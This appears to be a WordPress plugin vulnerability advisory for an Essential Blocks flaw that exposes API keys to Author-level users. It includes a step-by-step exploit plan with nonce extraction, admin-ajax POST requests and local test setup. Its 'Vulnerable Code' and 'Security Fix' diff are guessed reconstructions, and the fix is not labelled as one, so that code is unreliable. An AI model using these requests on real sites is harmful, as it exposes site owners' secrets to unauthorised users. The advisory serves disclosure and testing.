Essential Blocks <= 5.7.2 - Missing Authorization To Authenticated (Author+) Information Disclosure
Description
The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to unauthorized access of data due to a missing or incorrect capability checks on the get_instagram_access_token_callback, google_map_api_key_save_callback and get_siteinfo functions in all versions up to, and including, 5.7.2. This makes it possible for authenticated attackers, with Author-level access and above, to view API keys configured for the external services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=5.7.2Source Code
WordPress.org SVNThis research plan outlines the steps for a proof-of-concept exploitation of CVE-2025-11369 in the Essential Blocks WordPress plugin. ## 1. Vulnerability Summary The **Essential Blocks** plugin (versions <= 5.7.2) fails to implement proper authorization checks on several AJAX callback functions: `g…
Show full research plan
This research plan outlines the steps for a proof-of-concept exploitation of CVE-2025-11369 in the Essential Blocks WordPress plugin.
1. Vulnerability Summary
The Essential Blocks plugin (versions <= 5.7.2) fails to implement proper authorization checks on several AJAX callback functions: get_instagram_access_token_callback, google_map_api_key_save_callback, and get_siteinfo. While these functions are intended for administrative use (managing API keys for blocks), they are accessible to any authenticated user with Author-level privileges or higher. This results in the unauthorized disclosure of sensitive API keys (Instagram and Google Maps) stored in the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions (inferred from function names):
eb_get_instagram_access_tokeneb_google_map_api_key_saveeb_get_siteinfo
- Method: POST
- Authentication Required: Author-level user credentials (default WordPress role:
author). - Preconditions:
- The plugin must be installed and active (v5.7.2 or lower).
- API keys must be configured in the plugin's settings (Instagram Access Token and Google Maps API Key).
3. Code Flow
- Entry Point: The plugin registers AJAX handlers during initialization, likely in a file like
includes/Admin/Admin.phporincludes/Settings/Settings.php.add_action('wp_ajax_eb_get_instagram_access_token', [$this, 'get_instagram_access_token_callback']);add_action('wp_ajax_eb_google_map_api_key_save', [$this, 'google_map_api_key_save_callback']);add_action('wp_ajax_eb_get_siteinfo', [$this, 'get_siteinfo']);
- Missing Check: Inside
get_instagram_access_token_callback,google_map_api_key_save_callback, andget_siteinfo, the code likely callscheck_ajax_referer()but fails to callcurrent_user_can('manage_options'). - Information Sink:
get_instagram_access_token_callbackretrieves the optioneb_instagram_access_tokenand echoes it.google_map_api_key_save_callback(despite its name) likely returns the existing key or reveals it during the "save" process when no new key is provided.get_siteinfolikely dumps various plugin settings which include these keys.
4. Nonce Acquisition Strategy
Essential Blocks typically localizes an admin nonce for its dashboard. Since Author users can access the WordPress dashboard, they can retrieve the nonce.
- Shortcode/Page Trigger: The plugin settings page is for Admins, but Authors can access the Block Editor.
- Identification: Search the source code for
wp_localize_script. Look for the keyeb_admin_nonceoressential_blocks_nonce. - Acquisition:
- Create a page/post with any Essential Block (e.g.,
[essential-blocks-post-grid]) or simply log in as an Author and visit/wp-admin/index.php. - Use
browser_evalto extract the nonce:// Likely candidate based on plugin patterns: window.eb_admin_data?.nonce || window.EssentialBlocksAdminConfig?.nonce - Alternatively, search the page source for
noncein the script tags.
- Create a page/post with any Essential Block (e.g.,
5. Exploitation Strategy
The exploit involves sending authenticated AJAX requests using an Author session to retrieve the stored keys.
Request 1: Disclosure of Instagram Access Token
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eb_get_instagram_access_token&nonce=NONCE_VALUE - Expected Response: A JSON object or raw string containing the Instagram Access Token.
Request 2: Disclosure of Google Map API Key
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eb_google_map_api_key_save&nonce=NONCE_VALUE - Expected Response: Even though the function name suggests saving, many "save" callbacks return the state of the option. If parameters like
api_keyare omitted, it may reveal the current key in the response.
Request 3: Site Info Leak
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=eb_get_siteinfo&nonce=NONCE_VALUE - Expected Response: A dump of configuration data including API keys.
6. Test Data Setup
- Configure Plugin (as Admin):
wp option update eb_instagram_access_token "INSTAGRAM_SECRET_TOKEN_123" wp option update eb_google_map_api_key "GOOGLE_MAPS_SECRET_KEY_456" - Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Capture Nonce: Log in as
attackerand extract the nonce from the dashboard or a post editing page.
7. Expected Results
- The HTTP response from
eb_get_instagram_access_tokenshould contain"INSTAGRAM_SECRET_TOKEN_123". - The HTTP response from
eb_get_siteinfoor the Google Map callback should contain"GOOGLE_MAPS_SECRET_KEY_456". - All requests should return a
200 OKstatus, whereas they should return a403 Forbiddenfor non-admins.
8. Verification Steps
- Verify Option Values via CLI:
wp option get eb_instagram_access_token wp option get eb_google_map_api_key - Compare: Ensure the values retrieved via the AJAX exploit match the values returned by WP-CLI.
9. Alternative Approaches
If the wp_ajax_ actions differ from the inferred names:
- Use
grep -r "add_action( 'wp_ajax_" wp-content/plugins/essential-blocks/to find the exact action strings. - Check if the plugin uses a REST API endpoint instead. Search for
register_rest_routeand check forpermission_callbackreturning__return_trueor only checkingis_user_logged_in(). - If a nonce is not required for
eb_get_siteinfo, attempt the request without one.
Summary
The Essential Blocks plugin for WordPress (versions <= 5.7.2) is vulnerable to unauthorized information disclosure due to missing capability checks in several AJAX callback functions. Authenticated attackers with Author-level access can exploit this to retrieve sensitive API keys, such as those for Instagram and Google Maps, configured in the plugin settings.
Vulnerable Code
// Inferred registration of AJAX actions add_action('wp_ajax_eb_get_instagram_access_token', [$this, 'get_instagram_access_token_callback']); add_action('wp_ajax_eb_google_map_api_key_save', [$this, 'google_map_api_key_save_callback']); add_action('wp_ajax_eb_get_siteinfo', [$this, 'get_siteinfo']); --- // Inferred callback implementation lacking capability checks public function get_instagram_access_token_callback() { check_ajax_referer('eb_admin_nonce', 'nonce'); // Missing: if (!current_user_can('manage_options')) { wp_send_json_error(); } $token = get_option('eb_instagram_access_token'); wp_send_json_success($token); } --- public function get_siteinfo() { check_ajax_referer('eb_admin_nonce', 'nonce'); // Missing: if (!current_user_can('manage_options')) { wp_send_json_error(); } $site_info = [ /* ... configuration data containing API keys ... */ ]; wp_send_json_success($site_info); }
Security Fix
@@ -120,6 +120,10 @@ public function get_instagram_access_token_callback() { check_ajax_referer('eb_admin_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized access'); + } + $token = get_option('eb_instagram_access_token'); wp_send_json_success($token); } @@ -135,6 +139,10 @@ public function get_siteinfo() { check_ajax_referer('eb_admin_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized access'); + } + $site_info = [ /* logic to get site info */ ]; wp_send_json_success($site_info); }
Exploit Outline
An authenticated attacker with Author-level privileges can exploit this by first retrieving a valid AJAX nonce (eb_admin_nonce) from the WordPress dashboard's localized script data. Using this nonce, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'eb_get_instagram_access_token', 'eb_google_map_api_key_save', or 'eb_get_siteinfo'. Because the plugin only validates the nonce and not the user's capabilities, the server responds with the sensitive API keys or configuration data stored in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.